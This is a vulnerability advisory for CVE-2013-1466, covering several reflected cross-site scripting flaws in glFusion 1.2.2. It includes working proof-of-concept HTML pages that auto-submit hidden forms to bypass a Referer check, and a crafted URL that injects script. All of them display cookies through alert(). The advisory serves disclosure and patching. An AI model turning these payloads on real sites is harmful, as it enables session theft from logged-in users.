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Multiple Cross-Site Scripting (XSS) in glFusion



Advisory ID: HTB23142
Product: glFusion
Vendor: http://www.glfusion.org/
Vulnerable Version(s): 1.2.2 and probably prior
Tested Version: 1.2.2
Vendor Notification: January 30, 2013 
Vendor Patch: January 30, 2013 
Public Disclosure: February 20, 2013 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1466
Risk Level: Medium 
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities 
in glFusion, which can be exploited to perform Cross-Site Scripting attacks.

glFusion has a "bad_behaviour" plugin (installed by default) that verifies HTTP 
Referer, aimed to protect against spambots. The plugin also makes reflected XSS 
attacks against the application a little bit more complex. To bypass the 
security restriction PoC (Proof-of-Concept) codes for vulnerabilities 1.1 – 1.3 
modify the HTTP Referer header. These PoCs were successfully tested in the 
latest available version of Mozilla Firefox (18.0.1) . 


1) Multiple Cross-Site Scripting (XSS) in glFusion: CVE-2013-1466

1.1 The vulnerability exists due to insufficient filtration of user-supplied 
data in "subject" HTTP POST parameter passed to "/profiles.php" script. A 
remote attacker can trick a logged-in user to open a specially crafted link and 
execute arbitrary HTML and script code in browser in context of the vulnerable 
website.

The PoC code below uses "alert()" JavaScript function to display user's 
cookies: 


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
    var x = 0
    function go2() { location.replace("") }
    function go() {
        if(x) return
        x += 1
        try {
            var html = '<form target="_parent" 
action="http://[host]/profiles.php"; method="post">'
            html += '<input type="hidden" name="uid" value="2">'
                        html += '<input type="hidden" name="author" 
value="author">'
                        html += '<input type="hidden" name="message" value="1">'
                        html += '<input type="hidden" name="message_html" 
value="1">'
                        html += '<input type="hidden" name="authoremail" 
value="mail@xxxxxxxx">'
                        html += '<input type="hidden" name="postmode" 
value="html">'
                        html += '<input type="hidden" name="what" 
value="contact">'
                        html += '<input type="hidden" name="subject" value=\'" 
onmouseover="javascript:alert(document.cookie);"\'></form>'
            window.frames[0].document.body.innerHTML = html
            window.frames[0].document.forms[0].submit()
        } catch(e) {
            go2()
        }
    }
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" 
style="visibility:hidden">
</iframe>
<script>
    window.setTimeout('go2()', 3333)
</script>
</body>
</html>



1.2 The vulnerabilities exist due to insufficient filtration of user-supplied 
data in "address1", "address2", "calendar_type", "city", "state", "title", 
"url", "zipcode" HTTP POST parameters passed to "/calendar/index.php" script. A 
remote attacker can trick a logged-in user into opening a specially crafted 
link and execute arbitrary HTML and script code in user’s browser in context of 
the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's 
cookies: 


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
    var x = 0
    function go2() { location.replace("") }
    function go() {
        if(x) return
        x += 1
        try {
            var html = '<form target="_parent" 
action="http://[host]/calendar/index.php"; method="post">'
            html += '<input type="hidden" name="mode" value="Submit">'
            html += '<input type="hidden" name="savecal" value="Submit">'
                        html += '<input type="hidden" name="address1" value=\'" 
onmouseover="javascript:alert(document.cookie);"\'>'            
                        html += '<input type="hidden" name="calendar_type" 
value=\'" onmouseover="javascript:alert(document.cookie);"\'>'
                        html += '<input type="hidden" name="city" value=\'" 
onmouseover="javascript:alert(document.cookie);"\'>'
                        html += '<input type="hidden" name="state" value=\'" 
onmouseover="javascript:alert(document.cookie);"\'>'
                        html += '<input type="hidden" name="title" value=\'" 
onmouseover="javascript:alert(document.cookie);"\'>'
                        html += '<input type="hidden" name="url" value=\'" 
onmouseover="javascript:alert(document.cookie);"\'>'
                        html += '<input type="hidden" name="zipcode" value=\'" 
onmouseover="javascript:alert(document.cookie);"\'>'     
                        html += '<input type="hidden" name="address2" value=\'" 
onmouseover="javascript:alert(document.cookie);"\'></form>'
            window.frames[0].document.body.innerHTML = html
            window.frames[0].document.forms[0].submit()
        } catch(e) {
            go2()
        }
    }
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" 
style="visibility:hidden">
</iframe>
<script>
    window.setTimeout('go2()', 3333)
</script>
</body>
</html>



1.3 The vulnerabilities exists due to insufficient filtration of user-supplied 
data in "title" and "url" HTTP POST parameters passed to "/links/index.php" 
script. A remote attacker can trick a logged-in user to open a specially 
crafted link and execute arbitrary HTML and script code in browser in context 
of the vulnerable website.

The PoC code below uses "alert()" JavaScript function to display user's 
cookies: 


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<script>
    var x = 0
    function go2() { location.replace("") }
    function go() {
        if(x) return
        x += 1
        try {
            var html = '<form target="_parent" 
action="http://[host]/links/index.php"; method="post">'
            html += '<input type="hidden" name="mode" value="Submit">'
                        html += '<input type="hidden" name="title" value=\'" 
onmouseover="javascript:alert(1);"\'>'             
                        html += '<input type="hidden" name="url" value=\'" 
onmouseover="javascript:alert(2);"\'></form>'
            window.frames[0].document.body.innerHTML = html
            window.frames[0].document.forms[0].submit()
        } catch(e) {
            go2()
        }
    }
</script>
<iframe onload="window.setTimeout('go()', 99)" src="about:blank" 
style="visibility:hidden">
</iframe>
<script>
    window.setTimeout('go2()', 3333)
</script>
</body>
</html>



1.4 The vulnerability exists due to insufficient filtration of user-supplied 
data in URI after "/admin/plugins/mediagallery/xppubwiz.php" script. A remote 
attacker can trick a logged-in user to open a specially crafted link and 
execute arbitrary HTML and script code in browser in context of the vulnerable 
website.

The PoC code below uses "alert()" JavaScript function to display user's 
cookies: 

http://[host]/admin/plugins/mediagallery/xppubwiz.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E/

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Solution:

Upgrade to glFusion v1.2.2.pl4

More Information:
http://www.glfusion.org/article.php/glf122_update_20130130_01
http://www.glfusion.org/filemgmt/viewcat.php?cid=1

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23142 - 
https://www.htbridge.com/advisory/HTB23142 - Multiple Cross-Site Scripting 
(XSS) in glFusion.
[2] glFusion - http://www.glfusion.org/ - glFusion is an open source content 
management system developed in PHP providing blog, forum, gallery, downloads.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.